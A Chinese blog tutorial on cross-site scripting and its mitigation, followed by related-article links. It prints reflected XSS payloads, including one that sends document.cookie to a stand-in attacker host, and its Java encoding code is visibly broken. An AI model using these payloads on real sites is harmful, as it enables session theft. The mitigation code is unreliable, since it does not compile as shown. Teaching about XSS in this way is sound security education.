如何解决跨站脚本攻击
Cross-site scripting(CSS or XSS)跨站脚本不像其他攻击只包含两个部分:攻击者和web站点,跨站脚本包含三个部分:攻击者,客户和web站点。跨站脚本攻击的目的是窃取客户的cookies,或者其他可以证明用户身份的敏感信息。
攻击
一个get请求
GET /welcome.cgi?name=Joe%20Hacker HTTP/1.0
Host:
www.vulnerable.site
会产生如下的结果
<HTML>
<Title>Welcome!</Title>
Hi Joe Hacker
<BR>
Welcome to our system
...
</HTML>
但是如果请求被篡改
GET /welcome.cgi?name=<script>alert(document.cookie)</script> HTTP/1.0
Host: www.vulnerable.site
就会得到如下的响应
<HTML>
<Title>Welcome!</Title>
Hi <script>alert(document.cookie)</script>
<BR>
Welcome to our system
...
</HTML>
这样在客户端会有一段非法的脚本执行,这不具有破坏作用,但是如下的脚本就很危险了。
http://www.vulnerable.site/welcome.cgi?name=<script>window.open(“http://www.attacker.site/collec t.cgi?cookie=”%2Bdocument.cookie)</script>
响应如下:
<HTML>
<Title>Welcome!</Title>
Hi
<script>window.open(“http://www.attacker.site/collect.cgi?cookie=”+document.cookie)<
/script>
<BR>
Welcome to our system
...
</HTML>
浏览器回执行该脚本并将客户的cookie发到一个攻击者的网站,这样攻击者就得到了客户的cookie。
变体
除了使用<script>这个脚本之外,还可以使用其他的<img src=”javascript:...”>,这样对于过滤
的站点有效。对于<input type=text name=user value=”...”>这样的输入,可以通过如下攻击
<input type=text name=user value=”“><script>window.open(“http://www.attacker.site/collect.cgi?cookie=”+document.co
okie)</script>”>
解决方法
final String filterPattern="[<>{}\\[\\];\\&]";
String inputStr = s.replaceAll(filterPattern," ");
2,输出过滤
public static String encode(String data)
{
final StringBuffer buf = new StringBuffer();
final char[] chars = data.toCharArray();
for (int i = 0; i < chars.length; i++)
{
buf.append("&#" + (int) chars[i]);
}
}
public static String decodeHex(final String data,
final String charEncoding)
{
if (data == null)
{
return null;
}
byte[] inBytes = null;
try
{
inBytes = data.getBytes(charEncoding);
}
catch (UnsupportedEncodingException e)
{
//use default charset
inBytes = data.getBytes();
}
byte[] outBytes = new byte[inBytes.length];
int b2;
int j=0;
for (int i = 0; i < inBytes.length; i++)
{
if (inBytes[i] == '%')
{
b1 = Character.digit((char) inBytes[++i], 16);
b2 = Character.digit((char) inBytes[++i], 16);
(b2 & 0xf));
}
else
{
outBytes[j++] = inBytes[i];
}
}
String encodedStr = null;
try
{
encodedStr = new String(outBytes, 0, j, charEncoding);
}
catch (UnsupportedEncodingException e)
{
encodedStr = new String(outBytes, 0, j);
}
}
<!-- Maps the 404 Not Found response code
to the error page /errPage404 -->
<error-page>
<error-code>404</error-code>
<location>/errPage404</location>
</error-page>
<!-- Maps any thrown ServletExceptions
to the error page /errPageServ -->
<error-page>
<exception-type>javax.servlet.ServletException</exception-type>
<location>/errPageServ</location>
</error-page>
<!-- Maps any other thrown exceptions
to a generic error page /errPageGeneric -->
<error-page>
<exception-type>java.lang.Throwable</exception-type>
<location>/errPageGeneric</location>
</error-page>
任何的非servlet例外都被/errPageGeneric路径捕捉,这样就可以处理。
Throwable throwable = (Throwable)
request.getAttribute("javax.servlet.error.exception");
request.getAttribute("javax.servlet.error.status_code")).toString( );
3,安装三方的应用防火墙,可以拦截css攻击。
如何解决跨站脚本攻击相关推荐
- XSS(跨站脚本)漏洞详解之XSS跨站脚本攻击漏洞的解决
XSS(跨站脚本)漏洞详解 XSS的原理和分类 跨站脚本攻击XSS(Cross Site Scripting),为了不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆, ...
- 跨站脚本攻击漏洞防范与解决办法
前段时间在修改时天气预报15天查询(http://tqybw.net),想增加图片延迟载入的脚本功能,刚好看到某XX网站上有,为了测试方便,就直接引用某XX站的JS调用,没有下载下来.然后急着就上线了 ...
- 跨站脚本攻击(XSS)分类介绍及解决办法
1.什么是XSS? Cross-Site Scripting(跨站脚本攻击)简称 XSS,是一种代码注入攻击.攻击者通过在目标网站上注入恶意脚本,使之在用户的浏览器上运行.利用这些恶意脚本,攻击者可获 ...
- 跨站脚本攻击(XSS)FAQ
原作者charlee.原始链接http://tech.idv2.com/2006/08/30/xss-faq/以及本声明. 该文章简单地介绍了XSS的基础知识及其危害和预防方法.Web开发人员的必读. ...
- 027 跨站脚本攻击
Cross Site Scripting Another common security issue is cross site scripting. In this episode you will ...
- 【转载】用Snort巧妙检测SQL注入和跨站脚本攻击
脚本攻击是最近网络上最疯狂的攻击方法了,很多服务器配置了先进的硬件防火墙.多层次的安全体系,可惜最后对80端口的SQL注入和跨站脚本攻击还是没有办法抵御,只能看着数据被恶意入侵者改的面目全非而毫无办法 ...
- 【XSS技巧拓展】————4、浅谈跨站脚本攻击与防御
跨站脚本简称xss(cross-site scripting),利用方式主要是借助网站本身设计不严谨,导致执行用户提交的恶意js脚本,对网站自身造成危害.xss漏洞是web渗透测试中最常见而又使用最灵 ...
- 浅谈跨站脚本攻击与防御
参考:OWASP关于xss修复建议 跨站脚本简称xss(cross-site scripting),利用方式主要是借助网站本身设计不严谨,导致执行用户提交的恶意js脚本,对网站自身造成危害.xss漏洞 ...
- 渗透测试之XSS(跨站脚本攻击)
文章目录 XSS 漏洞概述 XSS 分类 XSS 危害 XSS 漏洞的验证 XSS 的构造 XSS 的变形(绕过方式) Shellcode 的调用 远程调用JS windows.location.ha ...
最新文章
- Codeforces Round #270
- 宏基因组QIIME2专题讨论群
- 构建ASP.NET MVC4+EF5+EasyUI+Unity2.x注入的后台管理系统(10)-系统菜单栏[附源码]
- winform响应时间最长是多少分钟_了解这个,你的爬升勋章分分钟手到擒来!
- u-boot命令寻找分析--find_cmd函数
- php项目打开快捷方式,PHP_克隆一个新项目的快捷方式,有没想过最土的项目如何快速 - phpStudy...
- java 与 乱码问题_透彻分析和解决一切javaWeb项目乱码问题
- java中组合_java中组合模式详解和使用方法
- MySQL5.7本地首次登录win10报错修改
- Android之ActionBar
- Mysql中SQL语句不使用索引的情况
- 盘一盘 synchronized (一)—— 从打印Java对象头说起
- Light oj 1214-Large Division (同余定理)
- Vue Devtools 安装
- Windows Azure Marketplace 为新增的 50 个国家/地区提供,并推出了令人振奋的新增内容,包括我们自己的 Bing 光学字符识别服务...
- 以新型数据治理构筑城市发展新引擎,中国电子和清华大学联合发布 《2021中国城市数据治理工程白皮书》
- 蓝桥杯2021年第十二届C++省赛第一题-空间
- Javascript 权威指南第五版 手记(1) 引用类型
- 低通滤波器的一阶RC电路模型
- 微信小程序的websocket使用stomp协议--简单实用的npm包